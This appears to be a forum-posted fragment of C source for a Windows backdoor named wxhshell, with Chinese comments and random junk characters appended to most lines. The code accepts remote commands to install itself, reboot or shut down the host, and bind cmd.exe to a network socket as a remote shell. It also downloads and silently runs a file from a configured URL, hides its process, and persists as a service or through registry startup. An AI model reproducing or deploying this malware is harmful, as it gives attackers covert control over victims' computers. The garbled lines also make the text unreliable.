  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N". af)5  
  } 5` Q#2  
  else { ~UL; O\-b0  
a|OX4  
    switch(cmd[0]) { 1_F2{n:yp  
  <8'}H`w%  
  // 帮助 y0z}[hZ  
  case '?': { tW 9vo-{+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yJ?4B?p(  
    break; O* 7" Q&  
  } +.zriiF]i  
  // 安装 p! Hpq W  
  case 'i': { n}YRE`>D  
    if(Install()) eO*FoN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [t>}M6?R:  
    else 5I@< 6S&X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RU@`+6 j+  
    break; pvcD 61,  
    } &t`l,]PQ=6  
  // 卸载 lh .p`^v  
  case 'r': { {6RT&w  
    if(Uninstall()) l.FkX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uNLA/hL+n  
    else 0b4QcfB1[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X\uN:;?#W{  
    break; l].dOso$`  
    } O,hT< s "  
  // 显示 wxhshell 所在路径 VBy=X\w]  
  case 'p': { V:yia^1  
    char svExeFile[MAX_PATH]; \]GBd~i<  
    strcpy(svExeFile,"\n\r"); j]YS(Y@AY  
      strcat(svExeFile,ExeFile); >+&524xc  
        send(wsh,svExeFile,strlen(svExeFile),0); eAPGy-  
    break; JH5ckgdZ  
    } <Azv VSA,  
  // 重启 MsfY|(/m  
  case 'b': { eR =P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6>zO"9  
    if(Boot(REBOOT)) V) C4 sG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YGNO]Q~A  
    else { yX/ 9jk  
    closesocket(wsh); m{;2!  
    ExitThread(0); }5u$/c@f1  
    } :<!a.%=  
    break; +H8]5~',L%  
    } 8L^5bJ  
  // 关机 (xy/:i".V  
  case 'd': { 'tklz*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `gx_+m^  
    if(Boot(SHUTDOWN)) H W)> `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G-~+FnUC  
    else { 8-+Ce;h  
    closesocket(wsh); ]haZT\  
    ExitThread(0); %?^IS&]Z  
    } X`ee}C.D_  
    break; Jzo|$W  
    } (~#{{Ja  
  // 获取shell t[Qf|#g  
  case 's': { Jt  ^a  
    CmdShell(wsh); ;3'ta!.c  
    closesocket(wsh); :H@ Q`g u  
    ExitThread(0); RNiFLD%5  
    break; wa5wkuS)ld  
  } zT 9"B  
  // 退出 7'LKyy !"3  
  case 'x': { WRe9ki=R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); % tTL  
    CloseIt(wsh); Q9Sh2qF^2  
    break; ")}^\O m  
    } Uf4A9$R.G  
  // 离开 >^=up f/  
  case 'q': { 'pa[z5{k+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;p)RMRMg  
    closesocket(wsh); 3MH9%*w'0  
    WSACleanup(); I6S!-i  
    exit(1); !{>'jvH  
    break; jJml[iC  
        } V:s$V.{!  
  }  ltK\ )L  
  } >k }ea5+  
rO[cm}  
  // 提示信息 9J+ p.N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P;4Y%Dq~Qo  
} '"qTmo!  
  } mSdByT+dG  
:#7"SEud}  
  return; 6?i]oy^X]p  
} Ve)P/Zz}^  
GJS3O;2*  
// shell模块句柄 D~P3~^  
int CmdShell(SOCKET sock) hg4d]R,  
{ tpPP5C{  
STARTUPINFO si; JbX"K< nQ  
ZeroMemory(&si,sizeof(si)); ut j7"{'k|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fj;];1nt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CiF(   
PROCESS_INFORMATION ProcessInfo; ( f]@lNmx  
char cmdline[]="cmd"; Jui:Ms  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }$%j}F{  
  return 0; BA(erf>  
} GBeWF-`B  
*uW l 804  
// 自身启动模式 7qsu0 .[d  
int StartFromService(void) e%[0 NVo  
{ !$n@-  
typedef struct /~~A2.=.  
{ fVJlA  
  DWORD ExitStatus; 4|U$ON?x  
  DWORD PebBaseAddress; ! [3  /!  
  DWORD AffinityMask; <$z6:4uN_  
  DWORD BasePriority; )+7|_7 !x  
  ULONG UniqueProcessId; nwS @r  
  ULONG InheritedFromUniqueProcessId; u1 Z;n  
}   PROCESS_BASIC_INFORMATION; kx{LY`pY  
9[2qgw\D  
PROCNTQSIP NtQueryInformationProcess; f |%II,!3  
$|"Y|3&X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZNDn! Sj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +}VaQ8ti4  
OCW0$V6;D-  
  HANDLE             hProcess; (fA>@5n  
  PROCESS_BASIC_INFORMATION pbi; /aTW X  
{{6D4M|s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kd r7 V  
  if(NULL == hInst ) return 0; ;O`ZVB  
atiyQuT6Wh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h*>%ou   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /O[<"Wcz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \+M6R<Qw  
o|kiwr}Y  
  if (!NtQueryInformationProcess) return 0; {'8td^JEE  
o%yfR.M6$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !),eEy  
  if(!hProcess) return 0; #Mw 6>5}<  
@vZeye  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9epMw-)k  
cs lZ;  
  CloseHandle(hProcess); y#T.w0*  
r1 axC%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tgyW:<iv  
if(hProcess==NULL) return 0; fZ aTckbE  
_lG|t6y  
HMODULE hMod; gU&y5s~  
char procName[255]; LwlO)|E  
unsigned long cbNeeded; ]z#+3DaH  
CM%Rz-c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !F:ANoaS  
vX@T Zet0  
  CloseHandle(hProcess); /S{U|GBB%r  
6& (bL<8b  
if(strstr(procName,"services")) return 1; // 以服务启动 dAWB.#  
KS'n$  
  return 0; // 注册表启动 ;FGS(.mjlC  
} c>Tf@A og>  
UY6aD~tD0  
// 主模块 2U|"]tpM&  
int StartWxhshell(LPSTR lpCmdLine) 3q W](  
{ B[ .$<$}G  
  SOCKET wsl; skm~~JM^  
BOOL val=TRUE; 38 ] }+Bb  
  int port=0; ;Rlf[](iL  
  struct sockaddr_in door; 4Ei8G]O $_  
[g bFs-B2/  
  if(wscfg.ws_autoins) Install(); 1Q_Q-Z  
KpBOmXE  
port=atoi(lpCmdLine); 5e3p9K`5  
gvFJ~lL  
if(port<=0) port=wscfg.ws_port; S{m:Iij[;  
K0WX($z~;  
  WSADATA data; %4wEAi$I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aUF{57,<  
eQz.N<f"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c/7}5#Rs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P{L S +.  
  door.sin_family = AF_INET; 4_D *xW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8J#xB  
  door.sin_port = htons(port); |:.s6a#(  
6B|OKwL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !gJTKQX4  
closesocket(wsl); D<hX%VJ%M  
return 1; TMGYNb%<bX  
} ihJ!]#Fbm  
ch2m Ei(  
  if(listen(wsl,2) == INVALID_SOCKET) { +DG-MM%\  
closesocket(wsl); `_f&T}]  
return 1; K ton$%Li  
} Egz6rRCvg  
  Wxhshell(wsl); 1Ys)b[:  
  WSACleanup(); #zv&h`gY  
;m7~!m)  
return 0; ?0'e_s  
*LMzq9n3o  
} =0L%<@yA  
`YUeVz>q?  
// 以NT服务方式启动 *8Su:=*b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &zd@cr1  
{ [p' A?-  
DWORD   status = 0; oxBTm|j7  
  DWORD   specificError = 0xfffffff; VX*+:  
T X iu/g(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;GE6S{~-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ub!l Hl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "n{';Q)  
  serviceStatus.dwWin32ExitCode     = 0; tU$n3Bg  
  serviceStatus.dwServiceSpecificExitCode = 0; *<:6A&'D9  
  serviceStatus.dwCheckPoint       = 0; /0cm7[a?  
  serviceStatus.dwWaitHint       = 0; <)pPq+  
^rs{1S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OLtXk  
  if (hServiceStatusHandle==0) return; e_-7,5Co  
dWi< U4  
status = GetLastError(); *o5[P\'6  
  if (status!=NO_ERROR) QW'*^^  
{ P l!E$   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ju5o).!bg  
    serviceStatus.dwCheckPoint       = 0; EXF]y}n  
    serviceStatus.dwWaitHint       = 0; _xH<R  
    serviceStatus.dwWin32ExitCode     = status; :IU<AG6  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z t4q= Lr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Buso `G  
    return; =E$bZe8  
  } A9g/At_  
p0y|pD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $tF\7.e@  
  serviceStatus.dwCheckPoint       = 0; {0lu>?<  
  serviceStatus.dwWaitHint       = 0; Q>$lf.)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1ni72iz\  
} urE7ZKdI  
H5#]MOAP  
// 处理NT服务事件,比如:启动、停止 R|^bZf^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8KN 3|)  
{ QgKR=GR6  
switch(fdwControl) (&87 zk  
{ *DvX|| `&  
case SERVICE_CONTROL_STOP: g-jg;Ri  
  serviceStatus.dwWin32ExitCode = 0; oOc-1C y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dl3;A_ 2  
  serviceStatus.dwCheckPoint   = 0; +*xc4  
  serviceStatus.dwWaitHint     = 0; r`"T{o\e   
  { %sPze]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wd32q7lGo1  
  } j^;P=L0=  
  return; GqNOWK2O  
case SERVICE_CONTROL_PAUSE: "+4Jmf9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /_HTW\7,  
  break; :/%Y"0  
case SERVICE_CONTROL_CONTINUE: qdy(C^(fa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u,nn\>Y  
  break; ES!e/l  
case SERVICE_CONTROL_INTERROGATE: GRJ6|T$!?$  
  break; VwRZgL  
}; E%;$vj'2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OiXO<1'$  
} .gGO+8[N*  
7QnWw0  
// 标准应用程序主函数 mA$86 X_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1=5HQ~|[TO  
{ Z9NND  
3bXfR,U  
// 获取操作系统版本 7.Z-  
OsIsNt=GetOsVer(); h)fsLzn]Tf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TQKcPVlE  
pZK 1G  
  // 从命令行安装 ,C"6@/:l  
  if(strpbrk(lpCmdLine,"iI")) Install(); {$Uj&/IC  
F-b]>3r  
  // 下载执行文件 'K02T:\iZ  
if(wscfg.ws_downexe) { (3$DUvx7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ^|zag  
  WinExec(wscfg.ws_filenam,SW_HIDE); '_V9FWDZ  
} ra6\+M~}e  
/;w(sU  
if(!OsIsNt) { %o4v} mzV  
// 如果时win9x,隐藏进程并且设置为注册表启动 uYWgNNxdmo  
HideProc(); }y+Qj6dP  
StartWxhshell(lpCmdLine); ZA. S X|m  
} 1ig*Xp[  
else  oJ*,a  
  if(StartFromService()) ` L 1+j  
  // 以服务方式启动 N8df1>mW  
  StartServiceCtrlDispatcher(DispatchTable); aNY-F)XWa  
else ykJ+LS{+  
  // 普通方式启动 JNXzZ4U  
  StartWxhshell(lpCmdLine); %7 yQ0'P  
,u^{zYoW  
return 0; rv(N0p/  
}
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只看该作者 1 发表于: 2006-10-10
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